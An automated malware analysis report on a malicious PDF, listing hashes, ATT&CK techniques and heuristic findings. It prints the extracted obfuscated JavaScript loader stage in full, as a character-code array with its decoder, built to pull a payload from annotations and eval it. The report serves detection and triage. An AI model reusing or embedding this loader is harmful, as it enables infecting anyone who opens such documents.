Malicious PDF — malware analysis report

Static analysis result for SHA-256 a5e390a5e2036c36…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-09
MD5: d0488404aee369e016732af2fee1138d SHA-1: f77de5b26f008a67f33200e92e56865eccfa9272 SHA-256: a5e390a5e2036c364b4b90cff58d52bf414ba4fc44cb665ddf41184a1a5f2694
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript, identified by heuristics like PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER and PDF_JS_EXPLOIT_CLUSTER. The JavaScript code, when deobfuscated, appears to download and execute a second-stage payload. The ML classifier also strongly indicated maliciousness. The exact nature of the second-stage payload could not be determined due to obfuscation, but the overall pattern suggests a downloader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1418 bytes
SHA-256: d2233358777d1aaed8efae57eefbdc7f0ddc83b20eb36c734bc8ee388da7c061
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,10,32,118,97,114,32,104,32,61,32,39,101,100,118,111,97,122,99,108,39,59,32,10,9,32,32,122,32,61,32,121,32,61,32,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,97,118,105,101,122,106,108,93,47,103,44,32,39,39,41,93,59,32,10,9,32,118,97,114,32,116,109,112,32,61,32,39,115,121,110,99,65,69,69,111,116,83,99,97,110,39,59,32,121,32,61,32,48,59,32,9,32,122,91,116,109,112,46,114,101,112,108,97,99,101,40,47,69,47,103,44,32,39,110,39,41,93,40,41,59,32,121,32,61,32,122,59,32,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,32,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,32,32,32,118,97,114,32,115,32,61,32,112,91,48,93,59,32,115,32,61,32,115,91,39,115,117,98,39,32,43,32,39,106,101,99,116,39,93,59,32,118,97,114,32,32,108,32,61,32,32,32,115,46,114,101,112,108,97,99,101,40,47,91,122,104,121,103,93,47,103,44,32,39,37,39,41,32,32,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,32,108,32,32,41,32,59,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,99,122,111,109,100,113,115,93,47,103,44,32,39,39,41,93,40,32,115,41,59,10,32,115,32,61,32,32,39,39,59,32,122,32,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }